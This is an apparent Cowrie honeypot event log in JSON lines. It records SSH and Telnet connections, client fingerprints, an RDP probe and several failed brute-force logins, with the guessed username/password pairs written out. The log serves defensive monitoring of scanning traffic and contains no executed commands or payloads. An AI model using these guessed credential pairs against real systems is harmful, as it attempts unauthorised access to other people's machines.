{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:34.302927Z","src_ip":"43.134.32.136","session":"5f774e80c736","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:34.518159Z","src_ip":"87.251.64.176","session":"116177fc48da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.681894302368164,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:34.718334Z","src_ip":"152.42.224.71","session":"d735fe7342af","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"reza","password":"1234","message":"login attempt [reza/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:35.313798Z","src_ip":"43.134.32.136","session":"5f774e80c736","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:36.561987Z","src_ip":"43.134.32.136","session":"5f774e80c736","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.53593182563782,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:37.544369Z","src_ip":"152.42.224.71","session":"8ddcd8611bd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.00730514526367,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:41.884692Z","src_ip":"152.42.224.71","session":"00f99aaf40d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.962377548217773,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:57.693711Z","src_ip":"152.42.224.71","session":"113cddd81eeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":53950,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccbbbc3a5088","protocol":"ssh","message":"New connection: 62.133.63.178:53950 (159.203.135.109:22) [session: ccbbbc3a5088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:58.569268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:58.573291Z","src_ip":"62.133.63.178","session":"ccbbbc3a5088","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:58.702190Z","src_ip":"62.133.63.178","session":"ccbbbc3a5088","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm,./","message":"login attempt [root/zxcvbnm,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:21:59.082061Z","src_ip":"62.133.63.178","session":"ccbbbc3a5088","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59176,"dst_ip":"10.17.0.5","dst_port":23,"session":"116c46e7bdf6","protocol":"telnet","message":"New connection: 152.42.224.71:59176 (10.17.0.5:23) [session: 116c46e7bdf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:00.074119Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:00.209564Z","src_ip":"62.133.63.178","session":"ccbbbc3a5088","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":34798,"dst_ip":"159.203.135.109","dst_port":22,"session":"94728d039300","protocol":"ssh","message":"New connection: 103.195.236.96:34798 (159.203.135.109:22) [session: 94728d039300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:07.279473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:07.284415Z","src_ip":"103.195.236.96","session":"94728d039300","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:07.527585Z","src_ip":"103.195.236.96","session":"94728d039300","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rerehepf","message":"login attempt [root/rerehepf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:08.263719Z","src_ip":"103.195.236.96","session":"94728d039300","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.999743700027466,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:08.912533Z","src_ip":"152.42.224.71","session":"5d42368b0abc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:09.510897Z","src_ip":"103.195.236.96","session":"94728d039300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51300,"dst_ip":"10.17.0.5","dst_port":23,"session":"c31e058537b7","protocol":"telnet","message":"New connection: 152.42.224.71:51300 (10.17.0.5:23) [session: c31e058537b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:12.759121Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":42096,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4e348ba5bbb","protocol":"ssh","message":"New connection: 194.59.206.2:42096 (159.203.135.109:22) [session: c4e348ba5bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:16.951004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:16.955503Z","src_ip":"194.59.206.2","session":"c4e348ba5bbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:17.047696Z","src_ip":"194.59.206.2","session":"c4e348ba5bbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:17.193138Z","src_ip":"194.59.206.2","session":"c4e348ba5bbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33212,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4a9f7ec6ac9","protocol":"telnet","message":"New connection: 152.42.224.71:33212 (10.17.0.5:23) [session: c4a9f7ec6ac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:17.320047Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39220,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c665b073e89","protocol":"telnet","message":"New connection: 152.42.224.71:39220 (10.17.0.5:23) [session: 3c665b073e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:32.323632Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45810,"dst_ip":"10.17.0.5","dst_port":23,"session":"056f423e279c","protocol":"telnet","message":"New connection: 152.42.224.71:45810 (10.17.0.5:23) [session: 056f423e279c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:36.159403Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45816,"dst_ip":"10.17.0.5","dst_port":23,"session":"e905db30de16","protocol":"telnet","message":"New connection: 152.42.224.71:45816 (10.17.0.5:23) [session: e905db30de16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:37.450350Z"}
{"eventid":"cowrie.session.closed","duration":39.18146276473999,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:39.255286Z","src_ip":"152.42.224.71","session":"116c46e7bdf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":38682,"dst_ip":"159.203.135.109","dst_port":22,"session":"53155fcde43b","protocol":"ssh","message":"New connection: 38.93.206.2:38682 (159.203.135.109:22) [session: 53155fcde43b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:39.726051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:39.734679Z","src_ip":"38.93.206.2","session":"53155fcde43b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:39.790812Z","src_ip":"38.93.206.2","session":"53155fcde43b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:39.947507Z","src_ip":"38.93.206.2","session":"53155fcde43b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:41.001380Z","src_ip":"38.93.206.2","session":"53155fcde43b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.766541957855225,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:44.090036Z","src_ip":"152.42.224.71","session":"3c665b073e89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.274410247802734,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:48.033407Z","src_ip":"152.42.224.71","session":"c31e058537b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00867104530334,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:55.306672Z","src_ip":"152.42.224.71","session":"389bef13256d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":62487,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c0583ceffc7","protocol":"ssh","message":"New connection: 152.42.212.128:62487 (159.203.135.109:22) [session: 5c0583ceffc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:55.610963Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:55.616978Z","src_ip":"152.42.212.128","session":"5c0583ceffc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:55.625588Z","src_ip":"152.42.212.128","session":"5c0583ceffc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.32.136","src_port":46194,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef376ff35ce8","protocol":"ssh","message":"New connection: 43.134.32.136:46194 (159.203.135.109:22) [session: ef376ff35ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:57.349480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:57.354457Z","src_ip":"43.134.32.136","session":"ef376ff35ce8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:57.593502Z","src_ip":"43.134.32.136","session":"ef376ff35ce8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":109.55750942230225,"message":"Connection lost after 109 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:58.002571Z","src_ip":"152.42.224.71","session":"9a64071be097","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"celeryuser","password":"celeryuser","message":"login attempt [celeryuser/celeryuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:58.578901Z","src_ip":"43.134.32.136","session":"ef376ff35ce8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:22:59.820512Z","src_ip":"43.134.32.136","session":"ef376ff35ce8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40506,"dst_ip":"10.17.0.5","dst_port":23,"session":"5264d5258f02","protocol":"telnet","message":"New connection: 152.42.224.71:40506 (10.17.0.5:23) [session: 5264d5258f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:23:00.065319Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40522,"dst_ip":"10.17.0.5","dst_port":23,"session":"93805844bd73","protocol":"telnet","message":"New connection: 152.42.224.71:40522 (10.17.0.5:23) [session: 93805844bd73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:23:02.155203Z"}
{"eventid":"cowrie.session.closed","duration":29.38792586326599,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:23:05.547249Z","src_ip":"152.42.224.71","session":"056f423e279c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.298732995986938,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:23:15.453856Z","src_ip":"152.42.224.71","session":"93805844bd73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.400120973587036,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:23:15.719975Z","src_ip":"152.42.224.71","session":"c4a9f7ec6ac9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39480,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2e83b95c029","protocol":"telnet","message":"New connection: 152.42.224.71:39480 (10.17.0.5:23) [session: a2e83b95c029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:23:20.825869Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39488,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a4b840705b9","protocol":"telnet","message":"New connection: 152.42.224.71:39488 (10.17.0.5:23) [session: 6a4b840705b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:23:24.535632Z"}
